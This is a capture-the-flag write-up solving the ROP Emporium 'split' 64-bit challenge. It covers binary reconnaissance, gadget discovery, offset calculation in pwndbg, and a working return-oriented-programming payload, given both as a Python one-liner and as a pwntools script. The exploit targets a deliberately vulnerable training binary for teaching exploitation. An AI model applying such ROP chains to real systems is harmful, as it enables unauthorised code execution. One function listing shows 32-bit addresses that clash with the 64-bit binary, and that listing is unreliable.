ROP Emporium - split (64 bit)

5 minute read

Lets check the file type of the binary using file command,

ra@moni:~/split$ file split
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped

It is a 64 bit not stripped binary, so we can view symbols in it

Lets check the security mitigations of this binary,

ra@moni:~/split$ checksec split
[*] '/home/ra/split/split'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Here NX bit is set, so that we cannot perform execution in stack

To bypass NX/ASLR security mitigations, we have to use ROP Techniques

There are some useful strings in the binary, which might acts as argument for system(),

ra@moni:~/split$ strings split | grep bin
/bin/ls
/bin/cat flag.txt

Lets check their addresses using rabin2,

ra@moni:~/split$ rabin2 -z split
[Strings]
nth paddr      vaddr      len size section type  string
-------------------------------------------------------
0   0x000007e8 0x004007e8 21  22   .rodata ascii split by ROP Emporium
1   0x000007fe 0x004007fe 7   8    .rodata ascii x86_64\n
2   0x00000806 0x00400806 8   9    .rodata ascii \nExiting
3   0x00000810 0x00400810 43  44   .rodata ascii Contriving a reason to ask user for data...
4   0x0000083f 0x0040083f 10  11   .rodata ascii Thank you!
5   0x0000084a 0x0040084a 7   8    .rodata ascii /bin/ls
0   0x00001060 0x00601060 17  18   .data   ascii /bin/cat flag.txt

It is noted that /bin/cat flag.txt is inside global variable named usefulString at 0x00601060

pwndbg> x/s 0x00601060
0x601060 <usefulString>:	"/bin/cat flag.txt"

Listing functions from the binary,

pwndbg> info functions

...
0x08048546  main
0x080485ad  pwnme
0x0804860c  usefulFunction
...

Here, main() is used to call pwnme() which is the normal flow of the program

But usefulFunction() seems unusual

Disassembling usefulFunction(),

pwndbg> disassemble usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400742 <+0>:	push   rbp
   0x0000000000400743 <+1>:	mov    rbp,rsp
   0x0000000000400746 <+4>:	mov    edi,0x40084a
   0x000000000040074b <+9>:	call   0x400560 <system@plt>
   0x0000000000400750 <+14>:	nop
   0x0000000000400751 <+15>:	pop    rbp
   0x0000000000400752 <+16>:	ret
End of assembler dump.
pwndbg> x/s 0x40084a
0x40084a:	"/bin/ls"

So this function just lists the files from the current directory using system() with the argument of /bin/ls

This function may not be suitable for our ROP Attack

But we can use our own value to pass this program, copying the data from stack into register

This is a simple ret2libc attack

In usefulFunction, the files are listed by

   0x0000000000400746 <+4>:	mov    edi,0x40084a #"/bin/ls"
   0x000000000040074b <+9>:	call   0x400560 <system@plt>

In 64 bit the first argument always get stored in RDI

Now we are going to change our code execution like,

pop rdi ; ret ---> args ---> system()

Lets find the ROP gadgets of rdi,

ra@moni:~/split$ ROPgadget --binary split | grep "pop rdi"
0x00000000004007c3 : pop rdi ; ret

Our pop rdi ; ret is a part of __libc_csu_init

pwndbg> x/3i 0x00000000004007c3
   0x4007c3 <__libc_csu_init+99>:	pop    rdi
   0x4007c4 <__libc_csu_init+100>:	ret
   0x4007c5:	nop

Now lets find our buffer space,

pwndbg> b *0x0000000000400735
Breakpoint 1 at 0x400735
pwndbg> r
Starting program: /home/ra/split/split
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> AAAABBBBCCCCDDDD

Breakpoint 1, 0x0000000000400735 in pwnme ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 RAX  0x11
 RBX  0x400760 (__libc_csu_init) ◂— push   r15
 RCX  0x7ffff7ece142 (read+18) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x60
 RDI  0x0
 RSI  0x7fffffffe030 ◂— 'AAAABBBBCCCCDDDD\n'
 R8   0x2
 R9   0x2
 R10  0xfffffffffffff27a
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe150 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe050 —▸ 0x7fffffffe060 ◂— 0x0
 RSP  0x7fffffffe030 ◂— 'AAAABBBBCCCCDDDD\n'
 RIP  0x400735 (pwnme+77) ◂— mov    edi, 0x40083f
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
  0x400735 <pwnme+77>             mov    edi, 0x40083f
   0x40073a <pwnme+82>             call   puts@plt <puts@plt>

   0x40073f <pwnme+87>             nop
   0x400740 <pwnme+88>             leave
   0x400741 <pwnme+89>             ret

   0x400742 <usefulFunction>       push   rbp
   0x400743 <usefulFunction+1>     mov    rbp, rsp
   0x400746 <usefulFunction+4>     mov    edi, 0x40084a
   0x40074b <usefulFunction+9>     call   system@plt <system@plt>

   0x400750 <usefulFunction+14>    nop
   0x400751 <usefulFunction+15>    pop    rbp
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000 rsi rsp 0x7fffffffe030 ◂— 'AAAABBBBCCCCDDDD\n'
01:0008         0x7fffffffe038 ◂— 'CCCCDDDD\n'
02:0010         0x7fffffffe040 ◂— 0xa /* '\n' */
03:0018         0x7fffffffe048 ◂— 0x0
04:0020 rbp     0x7fffffffe050 —▸ 0x7fffffffe060 ◂— 0x0
05:0028         0x7fffffffe058 —▸ 0x4006d7 (main+64) ◂— mov    edi, 0x400806
06:0030         0x7fffffffe060 ◂— 0x0
07:0038         0x7fffffffe068 —▸ 0x7ffff7de40b3 (__libc_start_main+243) ◂— mov    edi, eax
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
  f 0         0x400735 pwnme+77
   f 1         0x4006d7 main+64
   f 2   0x7ffff7de40b3 __libc_start_main+243
────────────────────────────────────────────────────────────────────────────────────────────────────

Lets view the base pointer and stack values,

pwndbg> x/2wx $rbp
0x7fffffffe050:	0xffffe060	0x00007fff
pwndbg> x/30wx $rsp
0x7fffffffe030:	0x41414141	0x42424242	0x43434343	0x44444444
0x7fffffffe040:	0x0000000a	0x00000000	0x00000000	0x00000000
0x7fffffffe050:	0xffffe060	0x00007fff	0x004006d7	0x00000000
0x7fffffffe060:	0x00000000	0x00000000	0xf7de40b3	0x00007fff
0x7fffffffe070:	0xf7ffc620	0x00007fff	0xffffe158	0x00007fff
0x7fffffffe080:	0x00000000	0x00000001	0x00400697	0x00000000
0x7fffffffe090:	0x00400760	0x00000000	0x476a4495	0x0e66cfe5
0x7fffffffe0a0:	0x004005b0	0x00000000

So our base pointer is at 0x7fffffffe050 and our buffer begins at 0x7fffffffe030

>>> print(0x7fffffffe050-0x7fffffffe030)
32

The buffer space is 32 bytes

Now we have to pass 40 bytes (32+8) of junk to reach Instruction Pointer

Our payload can be crafted as,

payload = 40 bytes of junk + Addr of POP RDI gadget + Addr of argument + Call Addr of system()

Address of POP RDI gadget = 0x00000000004007c3

Address of argument data (/bin/cat flag.txt) = 0x00601060

Address of call inst to system() = 0x000000000040074b

Lets try our exploit,

ra@moni:~/split$ python2 -c "print('A'*40+'\xc3\x07\x40\x00\x00\x00\x00\x00'+'\x60\x10\x60\x00\x00\x00\x00\x00'+'\x4b\x07\x40\x00\x00\x00\x00\x00')" | ./split
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)

Lets try our exploit from pwntools,

ra@moni:~/split$ cat exploit.py
from pwn import *
cat=p64(0x601060)
call_system=p64(0x40074b)
rdi=p64(0x00000000004007c3)
buff=""
buff+='A'*40
buff+=rdi
buff+=cat
buff+=call_system
print(buff)

ra@moni:~/split$ python2 exploit.py | ./split
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)

Done! we have completed split (64 bit)